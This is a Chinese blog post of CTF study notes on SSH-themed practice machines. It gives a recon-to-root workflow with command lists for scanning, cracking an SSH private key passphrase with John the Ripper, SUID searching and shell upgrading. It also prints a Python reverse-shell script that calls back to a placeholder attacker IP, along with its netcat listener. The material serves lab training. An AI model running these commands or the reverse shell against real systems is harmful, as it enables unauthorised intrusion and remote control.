CTF-SSH

原创

小侯同学ing 于 2022-01-09 21:34:54 发布 2848 收藏

分类专栏： 网络安全 文章标签： ssh linux 网络安全

本文链接：https://blog.csdn.net/weixin_45778981/article/details/122399202

网络安全 专栏收录该内容

8 篇文章 0 订阅

订阅专栏

CTF-SSH(笔记+总结)

思路：对网络进行扫描，寻找可疑主机，对目标主机进行端口扫描，特别注意大端口和特殊端口，在端口中寻找关键文件、可疑文件，注意id_rsa，远程登录目标主机，判断获取用户类型，进行提权最终获取root用户，获取flag。

```
netdiscover -r ip/netmask
nmap -sV ip
nmap -A -v ip
nmap -O ip
dirb http://ip:端口
nikto -host ip
ssh -i id_rsa 用户名@ip
chmod 600 id_rsa
python /usr/share/john/ssh2john.py id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
find / -perm -4000 2>/dev/null
netstat -pantu
nc -lvp 4445
git clone https://github.com/jeanphorn/common-password.git
./cupp.py -i
python -c "import pty;pty.spawn('/bin/bash')"
```

```
反弹shell
靶场代码
#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机ip","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

攻击机netcat命令
 nc -lvp 未占用端口(要一致攻击机监听端口)
查看占用端口 netstat -pantu
```